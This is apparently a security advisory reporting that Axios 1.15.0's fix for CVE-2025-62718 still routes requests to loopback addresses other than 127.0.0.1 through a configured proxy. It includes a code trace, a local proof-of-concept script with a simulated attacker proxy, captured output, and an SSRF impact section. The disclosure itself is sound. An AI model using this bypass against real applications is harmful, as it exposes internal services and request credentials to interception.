Axios: Incomplete Fix for CVE-2025-62718 — NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0

1. Executive Summary This report documents an incomplete security patch for the previously disclosed vulnerability GHSA-3p68-rc4w-qgx5 (CVE-2025-62718), which affects the NO_PROXY hostname resolution logic in the Axios HTTP library.

Background — The Original Vulnerability The original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against NO_PROXY rules. Specifically, a request to http://localhost./ (with a trailing dot) or http://[::1]/ (with IPv6 bracket notation) would bypass NO_PROXY matching entirely and be forwarded to the configured HTTP proxy — even when NO_PROXY=localhost,127.0.0.1,::1 was explicitly set by the developer to protect loopback services.

The Axios maintainers addressed this in version 1.15.0 by introducing a normalizeNoProxyHost() function in lib/helpers/shouldBypassProxy.js, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NO_PROXY comparison.

The Incomplete Patch — This Finding While the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), the fix is architecturally incomplete.

The patch introduced a hardcoded set of recognized loopback addresses:

// lib/helpers/shouldBypassProxy.js — Line 1
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);

However, RFC 1122 §3.2.1.3 explicitly defines the entire 127.0.0.0/8 subnet as the IPv4 loopback address block not just the single address 127.0.0.1. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range 127.0.0.2 through 127.255.255.254 is a valid, functional loopback address that routes to the local machine.

As a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the 127.0.0.0/8 range (e.g., 127.0.0.2, 127.0.0.100, 127.1.2.3) to completely bypass the NO_PROXY protection even in the fully patched Axios 1.15.0 release.

Verification This bypass has been independently verified on:

• Axios version: 1.15.0 (latest patched release)
• Node.js version: v22.16.0
• OS: Kali Linux (rolling)

The Proof-of-Concept demonstrates that while localhost, localhost., and [::1] are correctly blocked by the patched version, requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 are transparently forwarded to the attacker-controlled proxy server, confirming that the patch does not cover the full RFC-defined loopback address space.

2. Deep-Dive: Technical Root Cause Analysis 2.1 Vulnerable File & Location

2.2 How Axios Routes HTTP Requests The Call Chain When Axios dispatches any HTTP request, lib/adapters/http.js calls setProxy(), which invokes shouldBypassProxy() to decide whether to honour a configured proxy:

// lib/adapters/http.js — Lines 191–199
function setProxy(options, configProxy, location) {
  let proxy = configProxy;
  if (!proxy && proxy !== false) {
    const proxyUrl = getProxyForUrl(location);   // Step 1: Read proxy env var
    if (proxyUrl) {
      if (!shouldBypassProxy(location)) {         // Step 2: Check NO_PROXY
        proxy = new URL(proxyUrl);               // Step 3: Assign proxy
      }
    }
  }
}

shouldBypassProxy() is the single gatekeeper for NO_PROXY enforcement. A bypass here means all proxy protection fails silently.

2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5) Before Axios 1.15.0, hostnames were compared against NO_PROXY using a raw literal string match with no normalization:

Request URL → http://localhost./secret
NO_PROXY    → "localhost,127.0.0.1,::1"
Comparison:
  "localhost." === "localhost"   →  FALSE  →  Proxy used  ← BYPASS
  "[::1]"     === "::1"         →  FALSE  →  Proxy used  ← BYPASS

Both localhost. (FQDN trailing dot, RFC 1034 §3.1) and [::1] (bracketed IPv6 literal, RFC 3986 §3.2.2) are canonical representations of loopback addresses, but Axios treated them as unknown hosts.

2.4 What the Patch Fixed (Axios 1.15.0) The patch introduced three changes inside lib/helpers/shouldBypassProxy.js:

<img width="602" height="123" alt="01_axios_version_verification" src="https://github.com/user-attachments/assets/844446f2-01fb-4933-9316-fb849c40c8f5" />

Fix A normalizeNoProxyHost() (Lines 47–57) Strips alternate representations before comparison:

const normalizeNoProxyHost = (hostname) => {
  if (!hostname) return hostname;
  // Remove IPv6 brackets: "[::1]" → "::1"
  if (hostname.charAt(0) === '[' && hostname.charAt(hostname.length - 1) === ']') {
    hostname = hostname.slice(1, -1);
  }
  // Strip trailing FQDN dot: "localhost." → "localhost"
  return hostname.replace(/\.+$/, '');
};

Fix B Cross-Loopback Equivalence (Lines 1–3 & 108) Allows 127.0.0.1 and localhost to match each other interchangeably:

const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
// Line 108 — Final match condition:
return hostname === entryHost
    || (isLoopback(hostname) && isLoopback(entryHost));
//      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
//      If both sides are "loopback" → treat as match

Fix C Normalization Applied on Both Sides (Lines 81 & 90)

// Request hostname normalized:
const hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase());
// Each NO_PROXY entry normalized:
entryHost = normalizeNoProxyHost(entryHost);

2.5 The Incomplete Patch Exact Root Cause The fundamental flaw resides in Line 1:

// lib/helpers/shouldBypassProxy.js — Line 1  ← ROOT CAUSE
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
//                                              ^^^^^^^^^^^
//                              Only ONE IPv4 loopback address is recognized.
//                              The entire 127.0.0.0/8 subnet is unaccounted for.
// Line 3 — Lookup against this incomplete set:
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
//                                               ^^^^^^^^^
//                          Returns FALSE for any 127.x.x.x ≠ 127.0.0.1

<img width="884" height="135" alt="02_vulnerable_code_loopback_addresses" src="https://github.com/user-attachments/assets/ba06b91e-a2d2-4a99-9e1f-8c8bfbb6d71e" />

*RFC 1122 §3.2.1.3 is unambiguous:

"The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network."

This means all addresses from 127.0.0.1 through 127.255.255.254 are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire /8 block is routed to the lo interface by default. The patch recognises only 127.0.0.1, leaving 16,777,213 valid loopback addresses unprotected.

<img width="884" height="537" alt="03_rfc1122_loopback_definition" src="https://github.com/user-attachments/assets/951eabb4-2ec6-40ef-ad00-1fd5b9aed2d0" />

2.6 Step-by-Step Bypass Execution Trace Environment:

NO_PROXY   = "localhost,127.0.0.1,::1"
HTTP_PROXY = "http://attacker-proxy:5300"
Target URL = "http://127.0.0.2:9191/internal-api"

Annotated execution of shouldBypassProxy("http://127.0.0.2:9191/internal-api"):

// Step 1 — Parse the request URL
parsed   = new URL("http://127.0.0.2:9191/internal-api")
hostname = "127.0.0.2"    // parsed.hostname
// Step 2 — Read NO_PROXY environment variable
noProxy  = "localhost,127.0.0.1,::1"   // lowercased
// Step 3 — Normalize the request hostname
hostname = normalizeNoProxyHost("127.0.0.2")
//          No brackets → skip
//          No trailing dot → skip
//          Result: "127.0.0.2"  (unchanged)
// Step 4 — Iterate over NO_PROXY entries
//  Entry → "localhost"
entryHost = "localhost"
"127.0.0.2" === "localhost"                  → false
isLoopback("127.0.0.2")                      → false  ← Set.has() returns false
                                                          BYPASS starts here
//  Entry → "127.0.0.1"
entryHost = "127.0.0.1"
"127.0.0.2" === "127.0.0.1"                 → false
isLoopback("127.0.0.2") && isLoopback("127.0.0.1")
  → LOOPBACK_ADDRESSES.has("127.0.0.2")     → false  ← Same failure
  → false
//  Entry → "::1"
entryHost = "::1"
"127.0.0.2" === "::1"                        → false
isLoopback("127.0.0.2") && isLoopback("::1")
  → LOOPBACK_ADDRESSES.has("127.0.0.2")     → false  ← Same failure
  → false
// Step 5 — Final return
shouldBypassProxy() → false
//  Axios proceeds to route the request through the configured proxy.
//  The attacker's proxy server receives the full request including headers
//  and any response from the internal service.

2.7 Why the Patch Design Is Flawed The patch addresses the symptom (two specific alternate representations) rather than the root cause (an incomplete definition of what constitutes a loopback address).

**2.8 Total Exposed Address Space**
Protected by patch:    127.0.0.1          (1 address)
Unprotected loopback:  127.0.0.2
                       through
                       127.255.255.254    (16,777,213 addresses)

Real-world services that commonly bind to non-standard loopback addresses include:

• Internal microservices and admin dashboards using dedicated loopback IPs
• Development environments with multiple isolated service instances
• Docker and container bridge network configurations
• Test infrastructure allocating sequential loopback IPs across services

3. Comprehensive Attack Vector & Proof of Concept

3.1 Reproduction Steps

Step 1 — Create a fresh project directory

mkdir axios-bypass-test && cd axios-bypass-test

Step 2 — Initialize the project with the patched Axios version Create package.json:

{
  "type": "module",
  "dependencies": {
    "axios": "1.15.0"
  }
}

Install dependencies:

npm install

Verify the installed version:

npm list axios
# Expected output: axios@1.15.0

Step 3 — Create the PoC file (poc.js)

import http from 'http';
import axios from 'axios';
// ── Simulated attacker-controlled proxy server ────────────────────────────────
const PROXY_PORT = 5300;
http.createServer((req, res) => {
  console.log('\n[!] PROXY HIT — Attacker proxy received request!');
  console.log(`    Method : ${req.method}`);
  console.log(`    URL    : ${req.url}`);
  console.log(`    Host   : ${req.headers.host}`);
  res.writeHead(200);
  res.end('proxied');
}).listen(PROXY_PORT);
// ── Simulated developer security configuration ────────────────────────────────
// Developer believes all loopback traffic is protected by NO_PROXY.
process.env.HTTP_PROXY = `http://127.0.0.1:${PROXY_PORT}`;
process.env.NO_PROXY   = 'localhost,127.0.0.1,::1';
// ── Test helper ───────────────────────────────────────────────────────────────
async function test(url) {
  console.log(`\n[*] Testing: ${url}`);
  try {
    const res = await axios.get(url, { timeout: 2000 });
    if (res.data === 'proxied') {
      console.log('    Result → [PROXIED]  ← BYPASS CONFIRMED');
    } else {
      console.log('    Result → [DIRECT]   ← Safe, no proxy used');
    }
  } catch (err) {
    if (err.code === 'ECONNREFUSED') {
      console.log('    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)');
    }
  }
}
// ── Test execution ────────────────────────────────────────────────────────────
setTimeout(async () => {
  // Section A: Cases fixed by the existing patch — expected to go DIRECT
  console.log('\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===');
  await test('http://localhost:9191/secret');
  await test('http://localhost.:9191/secret');
  await test('http://[::1]:9191/secret');
  // Section B: Bypass cases — expected to go DIRECT, but actually go through proxy
  console.log('\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===');
  await test('http://127.0.0.2:9191/secret');
  await test('http://127.0.0.100:9191/secret');
  await test('http://127.1.2.3:9191/secret');
  process.exit(0);
}, 500);

Step 4 — Execute the PoC

node poc.js

3.2 Observed Output The following output was captured during testing on Kali Linux with Axios 1.15.0:

=== PATCHED CASES (Expected: All requests bypass the proxy) ===
[*] Testing: http://localhost:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
[*] Testing: http://localhost.:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
[*] Testing: http://[::1]:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===
[*] Testing: http://127.0.0.2:9191/secret
[!] PROXY HIT — Attacker proxy received request!
    Method : GET
    URL    : http://127.0.0.2:9191/secret
    Host   : 127.0.0.2:9191
    Result → [PROXIED]  ← BYPASS CONFIRMED                                 
[*] Testing: http://127.0.0.100:9191/secret
[!] PROXY HIT — Attacker proxy received request!
    Method : GET
    URL    : http://127.0.0.100:9191/secret
    Host   : 127.0.0.100:9191
    Result → [PROXIED]  ← BYPASS CONFIRMED                                 
[*] Testing: http://127.1.2.3:9191/secret
[!] PROXY HIT — Attacker proxy received request!
    Method : GET
    URL    : http://127.1.2.3:9191/secret
    Host   : 127.1.2.3:9191
    Result → [PROXIED]  ← BYPASS CONFIRMED                                 

<img width="1621" height="739" alt="05_poc_execution_bypass_confirmed" src="https://github.com/user-attachments/assets/6caf9f7a-36ed-4feb-b9f3-f82532da2de7" />

3.3 Analysis of Results The output conclusively demonstrates the following:

Patched cases behave correctly: Requests to localhost, localhost. (trailing dot), and [::1] (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.

Bypass cases confirm the incomplete patch: Requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 all of which are valid loopback addresses within the 127.0.0.0/8 subnet as defined by RFC 1122 §3.2.1.3 are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and Host header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted.

This confirms that the NO_PROXY protection configured by the developer (localhost,127.0.0.1,::1) fails silently for the entire 127.0.0.0/8 address range beyond 127.0.0.1, providing a reproducible and reliable bypass of the security control introduced by the patch.

4. Impact Assessment This vulnerability is a security control bypass specifically an incomplete patch that allows an attacker to circumvent the NO_PROXY protection mechanism in Axios by using any loopback addresses within the 127.0.0.0/8 subnet other than 127.0.0.1. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.

4.1 Who Is Impacted?

Primary Target — Node.js Backend Applications Any Node.js application that meets all three of the following conditions is vulnerable:

Condition 1:  Uses Axios 1.15.0 (latest patched) for HTTP requests
Condition 2:  Has HTTP_PROXY or HTTPS_PROXY set in its environment
              (common in corporate networks, cloud deployments,
               containerised environments, and CI/CD pipelines)
Condition 3:  Relies on NO_PROXY=localhost,127.0.0.1,::1 (or similar)
              to protect loopback or internal services from proxy routing

Affected Deployment Environments

Scale of Exposure Axios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over 500 million weekly downloads on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic.

4.3 Impact Details

Impact 1 Silent Interception of Internal Service Traffic

When an application makes a request to an internal loopback service using a non-standard loopback address (e.g., http://127.0.0.2/admin), Axios silently routes the request through the configured proxy instead of connecting directly.

Developer expects:    Application → 127.0.0.2:8080 (direct)
Actual behaviour:     Application → Attacker Proxy → 127.0.0.2:8080
The proxy receives:
  - Full request URL
  - HTTP method
  - All request headers (including Authorization, Cookie, API keys)
  - Request body (for POST/PUT requests)
  - Full response from the internal service

The developer receives no error or warning. From the application's perspective, the request succeeds normally.

Impact 2 — SSRF Mitigation Bypass Many applications implement SSRF protections by configuring NO_PROXY to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond 127.0.0.1.

SSRF Protection (as configured by developer):
  NO_PROXY = localhost,127.0.0.1,::1
What developer believes is protected:
  All loopback/internal addresses
What is actually protected:
  Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses)
What remains exposed:
  127.0.0.2 through 127.255.255.254 (16,777,213 addresses)

An attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect.

Impact 3 — Cloud Metadata Service Exposure In cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise.

While the AWS IMDSv2 service is reachable at 169.254.169.254 (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bo…